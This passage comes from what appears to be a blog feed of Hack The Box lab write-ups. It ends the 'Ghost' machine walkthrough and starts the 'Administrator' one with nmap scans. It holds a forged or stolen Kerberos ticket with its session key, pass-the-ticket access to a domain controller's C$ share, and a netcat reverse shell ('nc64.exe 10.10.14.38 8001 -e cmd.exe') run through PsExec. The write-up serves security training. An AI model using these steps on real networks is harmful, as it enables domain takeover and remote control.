      doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBGNpZnMbDmRjMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6j7PEkNngZ6fHXssCLuUI2AUv2AkYGB+2ZRS401dm0PKdNh0sd5sR/+KNjI+U/Rb2McYMw8tTIfsT6WvliJQ/XpSQllycr4S3SKA0bZJTJUGHKB1D2ydfnRrTeBlU7hzsd3oD4tlKkGEPR+XujWz06QFzBjpgd2ZD1X2M+WGz8Enzfeh9I7k24nlAqWPxq8htHWFTaa6bkCFX4Fljwt99bedkQUwfFbhstwODe96XiZ/7HNG1UkV1Q5jGBqRP04W2EotWLcqizUjhee/qPH1yomqlRt3puyJiLNS4Pjcvh2vjAvAVCkfQWYvOCpVlHUHTyypkpDBa741yn0DMpR/O5WDfAoBHVNnP96Y51fc/9vVNI9Fh2iP40nxajCoal798Zgu3VyCIf8Kpw3r7RNeVZL/FKn7AQHea9Ekq2BsrUuzjPkA07DhLY0M9Mti8R0htdVRqfaxStfPdOcfJvTW8zDJs5CNHVcx3j37OpscWyhQVL/DiXmo/pM5IVc08S/5w4bQLDIIqZGYN/obsEdEJgrOfsPCoFXKWajyK5ITPcrf2jLPfDZfZTR7KI8xBjCyYsZIEPICXpTKq5hCulynYppVMgh5hdtsZF4iCiVZUj92nk0uNy6Dj9H28ZEHmfWiCiSK0AdkF0sCq4NMb2tXguA+T6G2Rtd6HmN1GBz55vSFoogNBO/VEHmWLfCiDHAZOjcdvG20c/zdrNIJ+Mj2iqnl3P9fVtIcmf3s9K42DtZdEcFfjjydWAa8bJbyOQQ2j05C8Swo5EKg6qPqYwJDDbNlxVgegflAalIXo9m/ouNpEOvc/4BuNkA6dSh+8hgMQXjkbd65YPcXQPQ/kD9soctnzyXTS34+jV8Y9UoAXf01m9JTIskdc95e9LnV3C0a/69W8tc+0s/Qb3LO5hALZ3+hF2Jb3p82DvxMWgNj/5GQIs1Ocr5qQpDaLNR7CanMA2+7pi+CuOv7DkNT6VpKu5tBvNaTwgve9lItlTVifmr4KTcZOgBwlReK6m10ggke0nKI7m7OW3tuJSzhBH+kbyz9C1IB/be9SFoNuJI7/CKOmhiLir9IsG99OjdQx4DtDCO6sToWbKSKMRdg7Z8Ci0Zeg4rwKk1F2FTbHJkT0hzjUfHytNHIj6/tjUZCZLscmf7hVMkNUeYfxI9NYkEoJOcm1s1RhyXBxp+oNZyAVGAtl88IdpFJ5kWj9Qm8x+bQkcwBDXyPx0d3Opq5L/+5tnKjgHAKkzzYSGjgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCDG/HaBvGu3ffRXYa1lP/NFJvSbHZXjg+s8FGAm6OOx/6EQGw5jb3JwLmdob3N0Lmh0YqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNTA1MjUxMTQ5MzNaphEYDzIwMjUwNTI1MjE0OTMzWqcRGA8yMDI1MDYwMTExNDkzM1qoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEY2lmcxsOZGMwMS5naG9zdC5odGI=

  ServiceName              :  cifs/dc01.ghost.htb
  ServiceRealm             :  GHOST.HTB
  UserName                 :  Administrator
  UserRealm                :  corp.ghost.htb
  StartTime                :  5/25/2025 4:49:33 AM
  EndTime                  :  5/25/2025 2:49:33 PM
  RenewTill                :  6/1/2025 4:49:33 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  xvx2gbxrt330V2GtZT/zRSb0mx2V44PrPBRgJujjsf8=</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>The <code class="language-plaintext highlighter-rouge">/ptt</code> flag in the command loads the ticket into the current session. Now I can list directories on <code class="language-plaintext highlighter-rouge">DC01</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir \\dc01.ghost.htb\c$</span>

<span class="win-output">Volume in drive \\dc01.ghost.htb\c$ has no label.
Volume Serial Number is 2804-C13F

 Directory of \\dc01.ghost.htb\c$

05/08/2021  01:20 AM    &lt;DIR&gt;          PerfLogs
07/22/2024  09:55 AM    &lt;DIR&gt;          Program Files
07/22/2024  09:55 AM    &lt;DIR&gt;          Program Files (x86)
02/04/2024  02:48 PM    &lt;DIR&gt;          Users
07/10/2024  03:08 AM    &lt;DIR&gt;          Windows
               0 File(s)              0 bytes
               5 Dir(s)   3,644,932,096 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>I’ll copy the <code class="language-plaintext highlighter-rouge">nc</code> binary to <code class="language-plaintext highlighter-rouge">DC01</code>, and run it with <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/psexec">PsExec</a> to send back a reverse shell.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">copy nc64.exe \\dc01.ghost.htb\c$\users\public\documents\nc64.exe</span>

<span class="win-output">&nbsp;
        1 file(s) copied.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\psexec.exe -accepteula \\dc01.ghost.htb cmd.exe /c "c:\users\public\documents\nc64.exe 10.10.14.38 8001 -e cmd.exe"</span>

<span class="win-output">PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Starting cmd.exe on dc01.ghost.htb...1.ghost.htb...</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Finally, the box is rooted. That took a while!</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.38] from (UNKNOWN) [10.129.231.105] 57515
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">corp\administrator</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC01</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Administrator\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type root.txt</span>

<span class="win-output">17f8a920************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Windows" /><category term="Insane" /><summary type="html"><![CDATA[Ghost is the toughest box I’ve faced so far, it took me weeks to complete (and much longer to create this writeup). It involves exploiting and pivoting between several interconnected web apps, Linux containers and an AD forest environment. Many AD services and attacks are still new to me, so I often found myself getting stuck. This is especially true for ticket-based attacks, understanding the entire flow and interaction can be quite a head-scratcher.]]></summary></entry><entry><title type="html">HTB Machine - Administrator</title><link href="https://ch3ng625.github.io//administrator" rel="alternate" type="text/html" title="HTB Machine - Administrator" /><published>2025-04-20T00:00:00+00:00</published><updated>2025-04-20T00:00:00+00:00</updated><id>https://ch3ng625.github.io//administrator</id><content type="html" xml:base="https://ch3ng625.github.io//administrator"><![CDATA[<h2 id="summary">Summary:</h2>
<p>This box is unique in that it focuses entirely on Active Directory. Unlike typical boxes in HTB, there’s no web application to look at, and domain credentials are provided from the very start. This setup simulates real-world penetration tests in a Windows/Active Directory environment, and provides an excellent opportunity for practicing AD enumeration and attacks using tools like BloodHound and Impacket scripts.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.85.158</span>
<span class="cmd-output">
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 17:52 ACDT
Nmap scan report for 10.129.85.158
Host is up (0.32s latency).
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
50102/tcp open  unknown
50107/tcp open  unknown
50110/tcp open  unknown
50127/tcp open  unknown
62369/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 76.97 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664-49667,49669,50102,50107,50110,50127,62369 10.129.85.158</span>
<span class="cmd-output">
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 17:59 ACDT
Nmap scan report for 10.129.85.158
Host is up (0.32s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-07 14:29:57Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
50102/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
50107/tcp open  msrpc         Microsoft Windows RPC
50110/tcp open  msrpc         Microsoft Windows RPC
50127/tcp open  msrpc         Microsoft Windows RPC
62369/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP
